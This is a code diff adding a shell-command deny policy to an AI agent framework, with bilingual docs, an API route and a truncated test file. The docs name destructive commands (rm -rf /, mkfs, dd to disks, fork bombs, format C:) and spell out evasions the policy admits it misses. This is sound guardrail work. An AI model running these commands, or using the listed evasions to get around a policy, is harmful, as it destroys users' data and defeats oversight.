18a663cc..4ebdd717 100644--- a/packages/docs/content/agent-loop.zh.md+++ b/packages/docs/content/agent-loop.zh.md@@ -71,7 +71,7 @@ Task 由若干连续的 Request(轮)组成,每轮:5. LLM 流结束时,先产出其最后一条 `token_usage`,随即产出 `request_end(status)`——**不等待工具**,仍在执行的工具输出可出现在 `request_end` 之后;6. 整批工具全部到达终态后,工具结果**按原始调用顺序**重排,作为下一轮输入——在此之前不会发起下一次 Request。-某轮不再产生 `tool_call` 时,Task 结束。拒绝(deny)会生成一条合成的 `aborted` 工具输出(内容为 `Tool call denied by user.`),模型据此继续。+某轮不再产生 `tool_call` 时,Task 结束。拒绝会生成一条合成的 `aborted` 工具输出供模型据此继续——`Tool call denied by user.`,决定为[命令策略](/configuration#沙箱安全策略)的 `forbidden` 时则为 `Tool call denied by policy.`(见 [ApproveFn](/interfaces#approvefn))。## 中断与补发(carry-over)diff --git a/packages/docs/content/configuration.en.md b/packages/docs/content/configuration.en.mdindex d8a183ef..e280db33 100644--- a/packages/docs/content/configuration.en.md+++ b/packages/docs/content/configuration.en.md@@ -51,6 +51,7 @@ The openrouter, fireworks, siliconflow, qwen-token-plan, qwen-pay-as-you-go, and| `name` | Project display name (the id is shown when unset) || `default_model` | Paired reference `{ provider, model_id }` to the default model; must point to an entry in `models` || `vision_model` | The vision model that reads images on behalf of text-only models (used by `describe_image`); a paired reference |+| `[command_policy]` | Sandbox command policy: deny rules for shell commands, applied ahead of the approval mode — see [Command policy](#command-policy) || `[[models]]` | The list of available model entries |Model entry (`[[models]]`) fields:@@ -91,6 +92,46 @@ output = 0.857143Edit this file via the CLI (`penguin config model …`) or the Web Models page — never by hand while the service is running, and never by the model itself, which has no right to read or write it.+### Command policy++The `[command_policy]` block is the Project's sandbox guardrail for shell commands: a deny-rule list applied at the approval boundary itself to both tools that reach a shell — `exec_command`'s `cmd` (the launch) and `input_command`'s `chars` (what gets typed into an already-running one) — `Session.run` wraps the injected approval callback with it, so a hit is rejected before the host is asked, under every approval mode, allow-all included. The model receives the fixed line `Tool call denied by policy.` — distinct from a person's cancellation — and changes course. The policy lives in the Project config rather than in Agent State: an Agent editing its own configuration cannot reach it, and each Session snapshots it at creation, so a mid-Session edit takes effect only from the next load. It is not a filesystem permission — a tool that writes arbitrary paths can still rewrite the config file itself.++The rules are **plain data with no special tiers**: the factory set is seeded into each new project exactly like the model presets — copied in at creation, never rewritten afterward — and every rule can then be edited, disabled, deleted, or joined by new ones. A project from before the seeding (no `rules` list stored) behaves as the factory set until its first saved edit materializes the list; the settings page's "Restore defaults" loads the factory set back into the editor, and Save writes it.++| Field | Description |+| --- | --- |+| `enabled` | Master switch; absent = **on** (stored only as `enabled = false`) |+| `[[command_policy.rules]]` | The deny-rule list, matched in order: `name` (identifies the rule in the settings UI) + `pattern` (a JavaScript regex source, matched against the whitespace-normalized command) + optional `description` + per-rule `enabled` (absent = on). A stored empty list means no rules; an absent list means the factory set |++The factory set is deliberately small — commands whose verbatim execution is destructive with no undo: `rm` carrying both a recursive and a force flag, `mkfs`, `dd` writing straight to a block device, the classic fork bomb, and shell redirection onto a block device (`/dev/null` and friends stay legal). Four more are the Windows counterparts of the same five, since `exec_command` will resolve pwsh or cmd there: a recursive force delete (`Remove-Item -Recurse -Force`, `rd /s /q`), a volume format (`format C:`, `Format-Volume`), a raw disk overwrite (`\\.\PhysicalDriveN`, `Clear-Disk`), and the cmd fork bomb.++Matching normalizes ordinary spellings before the rules run, so plain typing does not slip through by accident: a leading path (`/bin/rm`), a wrapper (`sudo`, `env`, `command`, `nice`, `xargs`), quoting or a backslash escape of the command word (`"rm"`, `r''m`, `\rm`), and a literal `sh -c 'rm -rf /'` payload all match. Removing quote marks is all that happens — nothing is expanded, substituted, or decoded.++```toml+[command_policy]+enabled = true++[[command_policy.rules]]+name = "rm-recursive-force"+pattern = "…" # seeded from the factory set+description = "rm with recursive + force flags in one command (rm -rf and friends)"++[[command_policy.rules]]+name = "no-force-push"+pattern = "git push [^;|&]*--force"+enabled = false+```++This is an **accident guardrail, not a security boundary**, and that is a statement about what pattern matching can do rather than modesty about this implementation. Shell is a programming language; deciding what a program will do by reading its text before it runs is not a problem more rules get closer to solving. So the policy covers the spellings people and models actually type, and stops there:++- **A command computed at run time is not covered and will not be.** `$IFS` in place of spaces, a variable or alias (`X=rm; $X -rf /`), a command substitution, `eval`, base64 piped into a shell, `python -c`, an interpreter reached through a pipe. Each would take a pattern that costs maintenance forever and buys only the appearance of coverage. Anyone who wants the command to run can get it to run.+- **MCP tools are a different surface.** This policy reads `exec_command` and `input_command` only. An MCP server's own `permission` level is the knob that exists there, but read what it does before relying on it: it fixes the level its tools report to the approval mode and nothing else — it does not sandbox the server or restrict what its tools do when they run (see [Tools & Approval](/tools)). Extending a shell-text matcher into arbitrary MCP arguments would be a second, weaker control over a surface that needs a real one.+- **Commands not on the list.** `shred`, `wipefs`, `find -delete`, `git clean -xfd`, `chmod -R 000 /` match no factory rule — the list is deliberately small. Add your own rules for what your project cares about.++What it does buy is that a destructive one-liner does not run by accident, in either of the two ways a model reaches a shell, in either the POSIX or the Windows spelling, under any approval mode. That is a speed bump, and a speed bump is worth having in front of an irreversible command. For an actual boundary — a process that *cannot* reach the rest of the filesystem regardless of what it runs — the mechanism is confinement (bubblewrap, dsh), which is a separate layer this policy complements rather than replaces.++Manage it from the Security policy tab of Project Settings in the Web App (owner-only to edit; members see the effective policy).+## Agent config`agent_state/system_config.yaml` defines a single Agent's behavior (YAML; comments are preserved when edited via the Web UI):diff --git a/packages/docs/content/configuration.zh.md b/packages/docs/content/configuration.zh.mdindex e724ac34..0730b0dc 100644--- a/packages/docs/content/configuration.zh.md+++ b/packages/docs/content/configuration.zh.md@@ -51,6 +51,7 @@ openrouter、fireworks、siliconflow、qwen-token-plan、qwen-pay-as-you-go 与| `name` | Project 展示名(缺省显示 id) || `default_model` | 缺省模型的成对引用 `{ provider, model_id }`,必须指向 `models` 中的条目 || `vision_model` | 代读图片的视觉模型(供纯文本模型的 `describe_image` 使用),成对引用 |+| `[command_policy]` | 沙箱安全策略:针对 shell 命令的拒绝规则,先于审批模式生效——见[沙箱安全策略](#沙箱安全策略) || `[[models]]` | 可用模型条目列表 |模型条目(`[[models]]`)字段:@@ -91,6 +92,46 @@ output = 0.857143该文件通过 CLI `penguin config model …` 或 Web 的 Models 页面修改——服务运行期间不要手工编辑,模型本身则永远无权读写它。+### 沙箱安全策略++`[command_policy]` 块是 Project 级的 shell 命令沙箱护栏:一组拒绝规则,在审批边界本身对两个能碰到 shell 的工具生效——`exec_command` 的 `cmd`(启动命令)与 `input_command` 的 `chars`(敲进已运行命令的内容)——`Session.run` 用它包装注入进来的审批回调,命中即在宿主被问到之前拒绝,任何审批模式(包括全部放行)都不能放过它,模型收到固定文案 `Tool call denied by policy.`——与人工取消可区分——从而换路。策略放在 Project 配置而不是 Agent State:Agent 改自己的配置改不到它,且每个 Session 在创建时读取快照,运行中改动要到下次加载才生效。它不是文件系统权限——能写任意路径的工具照样能改写配置文件本身。++规则是**纯数据,没有特殊层级**:出厂规则集像模型预设一样播种进每个新项目——创建时拷入、之后绝不自动改写——此后每条规则都可编辑、停用、删除,也可新增。播种之前的存量项目(未存 `rules` 列表)在首次保存编辑前按出厂集生效,首次保存即把列表物化进文件;设置页的「恢复默认」把出厂集读回编辑区,由 Save 落盘。++| 字段 | 说明 |+| --- | --- |+| `enabled` | 总开关;缺省 = **启用**(仅在关闭时落盘 `enabled = false`) |+| `[[command_policy.rules]]` | 拒绝规则列表,按顺序匹配:`name`(在设置页标识该规则)+ `pattern`(JavaScript 正则源码,对空白归一化后的命令做匹配)+ 可选 `description` + 每条 `enabled`(缺省 = 启用)。存储空列表 = 没有规则;缺失列表 = 出厂集 |++出厂规则集刻意保持很小——只收录一旦照原样执行就不可挽回的命令:同时带递归与强制标志的 `rm`、`mkfs`、`dd` 直写块设备、经典 fork bomb、以及重定向写入块设备(`/dev/null` 等仍然合法)。另有四条是同样这五条的 Windows 对应写法(`exec_command` 在 Windows 上会解析到 pwsh 或 cmd):递归强制删除(`Remove-Item -Recurse -Force`、`rd /s /q`)、格式化卷(`format C:`、`Format-Volume`)、裸盘覆写(`\\.\PhysicalDriveN`、`Clear-Disk`)、以及 cmd 版 fork bomb。++匹配会先把常规写法归一化再套规则,免得平常的敲法平白漏过去:带路径(`/bin/rm`)、带前缀命令(`sudo`、`env`、`command`、`nice`、`xargs`)、给命令词加引号或反斜杠转义(`"rm"`、`r''m`、`\rm`)、以及字面量形式的 `sh -c 'rm -rf /'` 都会命中。归一化只做一件事:去掉引号标记——不展开、不替换、不解码。++```toml+[command_policy]+enabled = true++[[command_policy.rules]]+name = "rm-recursive-force"+pattern = "…" # 播种自出厂集+description = "rm with recursive + force flags in one command (rm -rf and friends)"++[[command_policy.rules]]+name = "no-force-push"+pattern = "git push [^;|&]*--force"+enabled = false+```++这是**防事故的护栏,不是安全边界**——这句话讲的是模式匹配本身能做到什么,而不是对这份实现的谦辞。shell 是一门编程语言,靠在程序跑起来之前读它的文本来判断它会做什么,不是加规则就能逼近的事。所以策略覆盖的是人和模型真正会敲出来的写法,到此为止:++- **运行期才拼出来的命令不在覆盖范围内,将来也不会在。** 用 `$IFS` 代替空格、走变量或别名(`X=rm; $X -rf /`)、命令替换、`eval`、base64 喂给 shell、`python -c`、经管道进入的解释器。每一条都要一个从此长期维护的模式,换来的只是覆盖的表象。存心要让命令跑起来的人,总能让它跑起来。+- **MCP 工具是另一个面。** 本策略只读 `exec_command` 与 `input_command`。MCP Server 自己的 `permission` 等级是那边现有的旋钮,但依赖它之前先看清它做什么:它只决定该 Server 的工具向审批模式报告哪个等级,仅此而已——不隔离 Server,也不限制其工具运行时能做什么(见[工具与审批](/tools))。把匹配 shell 文本的正则伸进任意 MCP 参数,只会给一个需要真控制的面再加一层更弱的控制。+- **不在名单上的命令。** `shred`、`wipefs`、`find -delete`、`git clean -xfd`、`chmod -R 000 /` 都不匹配任何出厂规则——名单是刻意保持小的。项目在意什么,就自己加规则。++它换来的是:毁灭性单行命令不会被误跑——模型碰到 shell 的两条路都算,POSIX 与 Windows 两种写法都算,任何审批模式下都算。这是一道减速带,而在不可逆的命令前面,减速带是值得有的。要真正的边界——一个无论跑什么都碰不到文件系统其余部分的进程——机制是进程隔离(bubblewrap、dsh),那是另一层,本策略与之互补而非替代。++在 Web App Project 设置的「安全策略」页管理(仅 owner 可改;成员只读展示生效策略)。+## Agent 配置`agent_state/system_config.yaml` 定义单个 Agent 的行为(YAML;经 Web UI 编辑时保留注释):diff --git a/packages/docs/content/interfaces.en.md b/packages/docs/content/interfaces.en.mdindex f3e2603c..cad9fe9c 100644--- a/packages/docs/content/interfaces.en.md+++ b/packages/docs/content/interfaces.en.md@@ -219,12 +219,14 @@ The CLI wires terminal I/O onto this boundary; the Server wires HTTP requests an## ApproveFn```ts-type ApprovalDecision = "allow" | "deny";+type ApprovalDecision = "allow" | "deny" | "forbidden"; // "forbidden" = the command policy's vetotype ApproveFn = (toolCall: OmniMessage<ToolCallPayload>) => Promise<ApprovalDecision>;```Constraints: called exactly once per complete `tool_call`; a throwing callback counts as `deny`; when none is injected the engine denies everything (conservative default). A Subagent inherits its parent's approval callback (invoked with an `origin` tag), so the approval policy spans the whole delegation tree.+`"forbidden"` is never a host's answer: `Session.run` wraps the injected callback with the [Project command policy](/configuration#command-policy), and a vetoed command answers `"forbidden"` before the host is asked at all. The denial output is one fixed `aborted` line either way — "Tool call denied by user." for `"deny"`, "Tool call denied by policy." for `"forbidden"` — and the decision value itself rides the `approval_decision` event, so the Trace names the decider with no extra field. An existing callback returning `"allow"` / `"deny"` needs no change.+## Subagent interfacesSubagent creation is injected at the `createAgent` composition layer, so the Environment never back-depends on the layers above it:diff --git a/packages/docs/content/interfaces.zh.md b/packages/docs/content/interfaces.zh.mdindex 9a66b94a..30ecaff7 100644--- a/packages/docs/content/interfaces.zh.md+++ b/packages/docs/content/interfaces.zh.md@@ -217,12 +217,14 @@ CLI 把终端输入输出接到这个边界上;Server 把 HTTP 请求与 SSE## ApproveFn```ts-type ApprovalDecision = "allow" | "deny";+type ApprovalDecision = "allow" | "deny" | "forbidden"; // "forbidden" = 命令策略的拦截type ApproveFn = (toolCall: OmniMessage<ToolCallPayload>) => Promise<ApprovalDecision>;```约束:每个完整 `tool_call` 恰好被调用一次;回调抛出异常按 `deny` 处理;未注入时引擎默认全部拒绝(保守策略)。Subagent 继承父级的审批回调(调用时带 `origin` 标记),审批策略天然贯穿整个委托树。+`"forbidden"` 从不出自宿主之手:`Session.run` 用 [Project 命令策略](/configuration#沙箱安全策略)包装注入进来的回调,命中的命令在宿主被问到之前就以 `"forbidden"` 作答。两种拒绝的工具输出都是固定的 `aborted` 一句——`"deny"` 为 `Tool call denied by user.`,`"forbidden"` 为 `Tool call denied by policy.`——决定值本身随 `approval_decision` 事件落 Trace,无需额外字段即可分辨决定者。返回 `"allow"` / `"deny"` 的既有回调无需改动。+## Subagent 接口Subagent 的创建能力在 `createAgent` 组装层注入,避免 Environment 反向依赖上层:diff --git a/packages/docs/content/omni-message.en.md b/packages/docs/content/omni-message.en.mdindex acaa1d89..91152561 100644--- a/packages/docs/content/omni-message.en.md+++ b/packages/docs/content/omni-message.en.md@@ -248,7 +248,8 @@ interface RequestEndPayload {interface ApprovalDecisionPayload {type: "approval_decision";- decision: "allow" | "deny";+ decision: "allow" | "deny" | "forbidden"; // "forbidden" = the command policy's veto,+ // never asked of a human — the record itself names the decidertool_call_id: string; // pairs with the approved tool_call — the audit record}diff --git a/packages/docs/content/omni-message.zh.md b/packages/docs/content/omni-message.zh.mdindex 0e3db2db..c8e2b7ff 100644--- a/packages/docs/content/omni-message.zh.md+++ b/packages/docs/content/omni-message.zh.md@@ -238,7 +238,8 @@ interface RequestEndPayload {interface ApprovalDecisionPayload {type: "approval_decision";- decision: "allow" | "deny";+ decision: "allow" | "deny" | "forbidden"; // "forbidden" = 命令策略的拦截,从未征询人——+ // 记录自身即可说明是谁拒绝的tool_call_id: string; // 与被审批的 tool_call 配对,构成审计记录}diff --git a/packages/docs/content/tools.en.md b/packages/docs/content/tools.en.mdindex 20734d0d..3a1ec0e0 100644--- a/packages/docs/content/tools.en.md+++ b/packages/docs/content/tools.en.md@@ -247,7 +247,8 @@ A background subagent's lifecycle is decoupled from the call that launched it: iEvery complete `tool_call` triggers exactly one approval decision:```ts-type ApproveFn = (toolCall: OmniMessage<ToolCallPayload>) => Promise<"allow" | "deny">;+type ApprovalDecision = "allow" | "deny" | "forbidden"; // "forbidden" = the command policy's veto+type ApproveFn = (toolCall: OmniMessage<ToolCallPayload>) => Promise<ApprovalDecision>;```| Surface | Behavior |@@ -256,7 +257,7 @@ type ApproveFn = (toolCall: OmniMessage<ToolCallPayload>) => Promise<"allow" | "| CLI | `--approve` takes four modes: allow-all (default) / deny-all / read-only / always-ask; read-only auto-approves `permission: "r"` tools and defers the rest to a human || Web / Server | The same four modes, set per Session; the mode is re-read from the DB on every decision, so changes take effect immediately; manual decisions arrive via the API |-A deny produces a synthetic aborted `tool_call_output` (`Tool call denied by user.`) for the model to react to. Every decision is written to the Trace as an `approval_decision` event, forming a complete audit record. Approval happens in the tool-execution phase of the [Agent Loop](/agent-loop).+A deny produces a synthetic `aborted` `tool_call_output` for the model to react to — `Tool call denied by user.`, or `Tool call denied by policy.` when the [command policy](/configuration#command-policy) denied it, so a policy hit never reads as a person cancelling. See [ApproveFn](/interfaces#approvefn). Every decision is written to the Trace as an `approval_decision` event — a policy veto recorded as `forbidden` — forming a complete audit record. Approval happens in the tool-execution phase of the [Agent Loop](/agent-loop).## Custom tools & MCPdiff --git a/packages/docs/content/tools.zh.md b/packages/docs/content/tools.zh.mdindex 2dc88363..8775cb32 100644--- a/packages/docs/content/tools.zh.md+++ b/packages/docs/content/tools.zh.md@@ -245,7 +245,8 @@ POSIX 上 Ctrl-C 向会话进程组发送 `SIGINT`,中断前台命令。Window每个完整的 `tool_call` 触发且只触发一次审批决策:```ts-type ApproveFn = (toolCall: OmniMessage<ToolCallPayload>) => Promise<"allow" | "deny">;+type ApprovalDecision = "allow" | "deny" | "forbidden"; // "forbidden" = 命令策略的拦截+type ApproveFn = (toolCall: OmniMessage<ToolCallPayload>) => Promise<ApprovalDecision>;```| 使用面 | 行为 |@@ -254,7 +255,7 @@ type ApproveFn = (toolCall: OmniMessage<ToolCallPayload>) => Promise<"allow" | "| CLI | `--approve` 四种模式:allow-all(默认)/ deny-all / read-only / always-ask;read-only 自动放行 `permission: "r"` 的工具,其余转人工 || Web / Server | 同样四种模式,按 Session 设置;每次决策前从数据库重读,改模式立即生效;人工决策经 API 送达 |-deny 会合成一条 aborted 的 `tool_call_output`(内容为 `Tool call denied by user.`),模型据此调整策略。每次决策都以 `approval_decision` 事件写入 Trace,构成完整的审计记录。审批发生在 [Agent 运行循环](/agent-loop) 的工具执行阶段。+deny 会合成一条 `aborted` 的 `tool_call_output` 供模型据此调整策略——`Tool call denied by user.`,被[命令策略](/configuration#沙箱安全策略)拒绝时为 `Tool call denied by policy.`,策略命中因此不会被读成「有人取消了」。见 [ApproveFn](/interfaces#approvefn)。每次决策都以 `approval_decision` 事件写入 Trace(策略拦截即记 `forbidden`),构成完整的审计记录。审批发生在 [Agent 运行循环](/agent-loop) 的工具执行阶段。## 自定义与 MCPdiff --git a/packages/server/src/api/types.ts b/packages/server/src/api/types.tsindex 24d6082e..febbb558 100644--- a/packages/server/src/api/types.ts+++ b/packages/server/src/api/types.ts@@ -648,6 +648,42 @@ export interface ChatDefaultsDto {thinkingLevel?: Exclude<ThinkingLevelName, "none">;}+// ---------------------------------------------------------------------------+// Sandbox command policy (Project-level: the [command_policy] block)+// ---------------------------------------------------------------------------++/**+ * One deny rule of the sandbox command policy — plain project-editable data. The factory+ * rules are seeded into new projects and carry no special status thereafter: every rule+ * can be edited, disabled, or deleted.+ */+export interface CommandPolicyRuleDto {+ name: string;+ /** JavaScript regex source, matched against the whitespace-normalized command. */+ pattern: string;+ /** What the rule catches (free text). */+ description?: string;+ /** Per-rule switch, effective value (defaults on). */+ enabled: boolean;+}++/**+ * Per-Project sandbox command policy: deny rules for shell commands, evaluated ahead of+ * the approval mode (a hit is denied even under allow-all). Serves as the GET response and+ * the PUT response. The PUT request body carries `enabled?` plus the full `rules` list+ * (required — a PUT always materializes the list into the config, model-presets style);+ * per-rule `enabled` may be omitted there and defaults to on. Owner-only to write; any+ * member may read.+ */+export interface CommandPolicyDto {+ /** Effective master switch; an absent stored value reads as true (the policy defaults on). */+ enabled: boolean;+ /** The effective rule list — the factory set when the project predates seeding and has none stored. */+ rules: CommandPolicyRuleDto[];+ /** The factory set, served for the settings UI's "restore defaults". */+ defaultRules: CommandPolicyRuleDto[];+}+// ---------------------------------------------------------------------------// Vault environment variables (Agent-level: agent_state/.vault.toml)// ---------------------------------------------------------------------------diff --git a/packages/server/src/app.ts b/packages/server/src/app.tsindex a412e90b..272c6b88 100644--- a/packages/server/src/app.ts+++ b/packages/server/src/app.ts@@ -47,6 +47,7 @@ import { projectsRoutes } from "./http/routes/projects.js";import { membersRoutes } from "./http/routes/members.js";import { modelsRoutes } from "./http/routes/models.js";import { chatDefaultsRoutes } from "./http/routes/chat-defaults.js";+import { commandPolicyRoutes } from "./http/routes/command-policy.js";import { vaultRoutes } from "./http/routes/vault.js";import { memoryRoutes } from "./http/routes/memory.js";import { scheduleRoutes } from "./http/routes/schedules.js";@@ -537,6 +538,7 @@ export function createApp(deps: AppDeps): Hono<AppEnv> {app.route("/api/projects/:projectId/members", membersRoutes(deps));app.route("/api/projects/:projectId/models", modelsRoutes(deps));app.route("/api/projects/:projectId/chat-defaults", chatDefaultsRoutes(deps));+ app.route("/api/projects/:projectId/command-policy", commandPolicyRoutes(deps));app.route("/api/projects/:projectId/agents", agentsRoutes(deps));app.route("/api/projects/:projectId/dirs", dirsRoutes(deps));app.route("/api/projects/:projectId/agents/:agentId/config", agentConfigRoutes(deps));diff --git a/packages/server/src/http/routes/command-policy.ts b/packages/server/src/http/routes/command-policy.tsnew file mode 100644index 00000000..463896ea--- /dev/null+++ b/packages/server/src/http/routes/command-policy.ts@@ -0,0 +1,126 @@+/**+ * Sandbox command-policy routes: GET|PUT /api/projects/:p/command-policy (the+ * `[command_policy]` block of .project_config.toml). Any member can read (the settings+ * dialog shows the effective policy); only the owner can replace it — it is Project-owned+ * security config, deliberately outside the Agent State an Agent edits for itself. The rules are+ * plain data: the factory set is seeded into new projects (and served to pre-seeding+ * projects that store none), and a PUT always carries the full rule list, materializing it+ * into the file model-presets style.+ */+import { Hono } from "hono";+import type { AppEnv } from "../../auth/middleware.js";+import { HttpError } from "../errors.js";+import { readJson, requireValidId } from "../validate.js";+import type { AppDeps } from "../../app.js";++/** Bounds for the rule list: enough for a serious deny list, small enough to stay a config file. */+const MAX_RULES = 64;+const MAX_RULE_NAME_LEN = 64;+const MAX_RULE_PATTERN_LEN = 512;+const MAX_RULE_DESCRIPTION_LEN = 300;++/** The validated shape a PUT rule reduces to. */+interface RuleInput {+ name: string;+ pattern: string;+ description?: string;+ enabled?: boolean;+}++/**+ * Validates the `rules` array: every entry needs a non-empty name and a pattern that+ * actually compiles — an uncompilable pattern would be silently skipped at match time+ * (core's tolerant reader), turning a typo into a rule that never fires. Rejecting it here+ * keeps "saved" equal to "enforced".+ */+function validateRules(value: unknown): RuleInput[] {+ if (!Array.isArray(value)) {+ throw new HttpError(400, "invalid_rules", "rules must be an array.");+ }+ if (value.length > MAX_RULES) {+ throw new HttpError(400, "invalid_rules", `rules exceeds ${MAX_RULES} entries.`);+ }+ const rules: RuleInput[] = [];+ for (const entry of value) {+ if (entry === null || typeof entry !== "object" || Array.isArray(entry)) {+ throw new HttpError(400, "invalid_rules", "Each rule must be an object.");+ }+ const { name, pattern, description, enabled } = entry as Record<string, unknown>;+ if (typeof name !== "string" || name.trim() === "" || name.length > MAX_RULE_NAME_LEN) {+ throw new HttpError(+ 400,+ "invalid_rules",+ `Each rule needs a non-empty name of at most ${MAX_RULE_NAME_LEN} characters.`,+ );+ }+ if (typeof pattern !== "string" || pattern === "" || pattern.length > MAX_RULE_PATTERN_LEN) {+ throw new HttpError(+ 400,+ "invalid_rules",+ `Each rule needs a non-empty pattern of at most ${MAX_RULE_PATTERN_LEN} characters.`,+ );+ }+ try {+ new RegExp(pattern);+ } catch {+ throw new HttpError(+ 400,+ "invalid_rule_pattern",+ `Rule "${name.trim()}" has an invalid regular expression: ${pattern}`,+ );+ }+ if (description !== undefined && typeof description !== "string") {+ throw new HttpError(400, "invalid_rules", "A rule description must be a string.");+ }+ const desc = typeof description === "string" ? description.trim() : "";+ if (desc.length > MAX_RULE_DESCRIPTION_LEN) {+ throw new HttpError(+ 400,+ "invalid_rules",+ `A rule description is at most ${MAX_RULE_DESCRIPTION_LEN} characters.`,+ );+ }+ if (enabled !== undefined && typeof enabled !== "boolean") {+ throw new HttpError(400, "invalid_rules", "A rule's enabled must be a boolean.");+ }+ rules.push({+ name: name.trim(),+ pattern,+ ...(desc !== "" ? { description: desc } : {}),+ ...(enabled !== undefined ? { enabled } : {}),+ });+ }+ return rules;+}++export function commandPolicyRoutes(deps: AppDeps): Hono<AppEnv> {+ const app = new Hono<AppEnv>();++ app.get("/", async (c) => {+ const projectId = requireValidId(c, "projectId");+ deps.projectService.requireProjectAccess(c.var.user.userId, projectId);+ return c.json(await deps.projectConfigService.getCommandPolicy(projectId));+ });++ app.put("/", async (c) => {+ const projectId = requireValidId(c, "projectId");+ deps.projectService.requireProjectOwner(c.var.user.userId, projectId);+ const body = await readJson(c);++ if (body.enabled !== undefined && typeof body.enabled !== "boolean") {+ throw new HttpError(400, "invalid_enabled", "enabled must be a boolean.");+ }+ // The full list is required: a PUT is the materialization point (an empty array is a+ // deliberate "no rules", distinct from omitting the field by mistake).+ const rules = validateRules(body.rules);++ return c.json(+ await deps.projectConfigService.setCommandPolicy(projectId, {+ ...(body.enabled !== undefined ? { enabled: body.enabled } : {}),+ rules,+ }),+ );+ });++ return app;+}diff --git a/packages/server/src/services/project-config-service.ts b/packages/server/src/services/project-config-service.tsindex 7c4263b1..1165f99b 100644--- a/packages/server/src/services/project-config-service.ts+++ b/packages/server/src/services/project-config-service.ts@@ -29,6 +29,9 @@ import { parse as parseToml } from "smol-toml";import {CHAT_APPROVAL_MODES,DEFAULT_CHAT_THINKING_LEVELS,+ DEFAULT_COMMAND_POLICY_RULES,+ effectiveCommandPolicyRules,+ parseCommandPolicy,GenerativeModel,canonicalClientType,listEndpointModels as coreListEndpointModels,@@ -42,9 +45,17 @@ import {userText,} from "@prismshadow/penguin-core";import { providerInfo } from "@prismshadow/penguin-core/model-catalog";-import type { LLMOutcome, ModelRef, OmniMessage, ProjectConfig } from "@prismshadow/penguin-core";+import type {+ CommandPolicyRule,+ LLMOutcome,+ ModelRef,+ OmniMessage,+ ProjectConfig,+} from "@prismshadow/penguin-core";import type {ChatDefaultsDto,+ CommandPolicyDto,+ CommandPolicyRuleDto,EndpointModelListRequest,EndpointModelListResponse,ModelInfo,@@ -137,6 +148,16 @@ function optStr(v: unknown): string | undefined {return typeof v === "string" && v !== "" ? v : undefined;}+/** Command-policy rules as DTOs: per-rule `enabled` made explicit (stored absence = on). */+function toCommandPolicyRuleDtos(rules: readonly CommandPolicyRule[]): CommandPolicyRuleDto[] {+ return rules.map((r) => ({+ name: r.name,+ pattern: r.pattern,+ ...(r.description !== undefined ? { description: r.description } : {}),+ enabled: r.enabled !== false,+ }));+}+/** Leniently reads a paired reference table (default_model / vision_model); returns undefined on a shape mismatch (including the old string format). */function optRef(v: unknown): ModelRef | undefined {const t = asTable(v);@@ -298,6 +319,9 @@ export class ProjectConfigService {await this.writeRaw(projectId, {name,...(preset.default_model !== undefined ? { default_model: preset.default_model } : {}),+ // The factory command-policy rules are seeded exactly like the model presets:+ // copied in at creation, owned by the project from then on.+ ...(preset.command_policy !== undefined ? { command_policy: preset.command_policy } : {}),models: preset.models,});}@@ -418,6 +442,56 @@ export class ProjectConfigService {return this.getChatDefaults(projectId);}+ /**+ * Sandbox command policy (`[command_policy]`): read leniently, mirroring core's+ * loadProjectConfig tolerance — a non-boolean `enabled` reads as true (the default), a+ * rule missing name or pattern is dropped, and an absent (or non-array) `rules` value+ * serves the factory set: a project from before the block was seeded behaves as the+ * defaults until its first saved edit materializes them. The factory set also rides+ * along as `defaultRules` for the settings UI's "restore defaults".+ */+ async getCommandPolicy(projectId: string): Promise<CommandPolicyDto> {+ const raw = await this.readRaw(projectId);+ // Core's shared narrowing + the single "absent = factory set" fallback: this GET can+ // never disagree with what the Environment snapshot will enforce.+ const policy = parseCommandPolicy(raw.command_policy);+ return {+ enabled: policy?.enabled !== false,+ rules: toCommandPolicyRuleDtos(effectiveCommandPolicyRules(policy)),+ defaultRules: toCommandPolicyRuleDtos(DEFAULT_COMMAND_POLICY_RULES),+ };+ }++ /**+ * Replaces the `[command_policy]` block (declarative PUT, validated at the route). A PUT+ * always materializes the full rule list into the file — model-presets style: once+ * written, later factory changes never rewrite it — storing per field only what departs+ * from the defaults (`enabled = false`, a rule's `enabled = false`, a non-empty+ * description). Read-modify-write like setChatDefaults, preserving every other key.+ * Returns the block as re-read.+ */+ async setCommandPolicy(+ projectId: string,+ req: {+ enabled?: boolean;+ rules: { name: string; pattern: string; description?: string; enabled?: boolean }[];+ },+ ): Promise<CommandPolicyDto> {+ const raw = await this.readRaw(projectId);+ const block: RawTable = {};+ if (req.enabled === false) block.enabled = false;+ block.rules = req.rules.map((r) => ({+ name: r.name,+ pattern: r.pattern,+ ...(r.description !== undefined && r.description !== ""+ ? { description: r.description }+ : {}),+ ...(r.enabled === false ? { enabled: false } : {}),+ }));+ await this.writeRaw(projectId, { ...raw, command_policy: block });+ return this.getCommandPolicy(projectId);+ }+/** Pricing lookup for usage-recorder: the current pricing for this paired reference (undefined if none -> cost is NULL). */async getPricing(projectId: string,diff --git a/packages/server/test/project-command-policy.test.ts b/packages/server/test/project-command-policy.test.tsnew file mode 100644index 00000000..21275bc0--- /dev/null+++ b/packages/server/test/project-command-policy.test.ts@@ -0,0 +1,165 @@+/**+ * GET|PUT /api/projects/:p/command-policy — the Project sandbox command policy (the+ * `[command_policy]` block of .project_config.toml).+ *+ * Pins the contract's load-bearing corners: who may read (any member) and write (owner+ * only, a non-member unable to tell the Project exists); that a new project is seeded with+ * the factory rules while a pre-seeding project (no stored block) still serves them as the+ * effective set; that the rules are plain editable data (edit / disable / delete / add all+ * round-trip) and a PUT materializes the full list; that an uncompilable pattern is+ * rejected up front (a rule that cannot fire must not save); and that a policy write is a+ * read-modify-write — the models table must survive.+ */+import { afterEach, beforeEach, describe, expect, it } from "vitest";+import fs from "node:fs/promises";+import path from "node:path";+import type {+ CommandPolicyDto,+ ErrorBody,+ ModelsResponse,+ ProjectCreateResponse,+} from "../src/api/types.js";+import { apiClient, createTestApp, provisionUser } from "./helpers.js";+import type { TestApp } from "./helpers.js";++describe("project command policy", () => {+ let t: TestApp;+ let owner: ReturnType<typeof apiClient>;+ let member: ReturnType<typeof apiClient>;+ let outsider: ReturnType<typeof apiClient>;+ let projectId: string;+ let url: string;++ beforeEach(async () => {+ t = await createTestApp();+ const a = await provisionUser(t.app, "owner_a");+ const b = await provisionUser(t.app, "member_b");+ const c = await provisionUser(t.app, "outsider_c");+ owner = apiClient(t.app, a.cookie);+ member = apiClient(t.app, b.cookie);+ outsider = apiClient(t.app, c.cookie);+ const created = (await (+ await owner.post("/api/projects", { projectId: "owner_a-shared", name: "Shared" })+ ).json()) as ProjectCreateResponse;+ projectId = created.project.projectId;+ url = 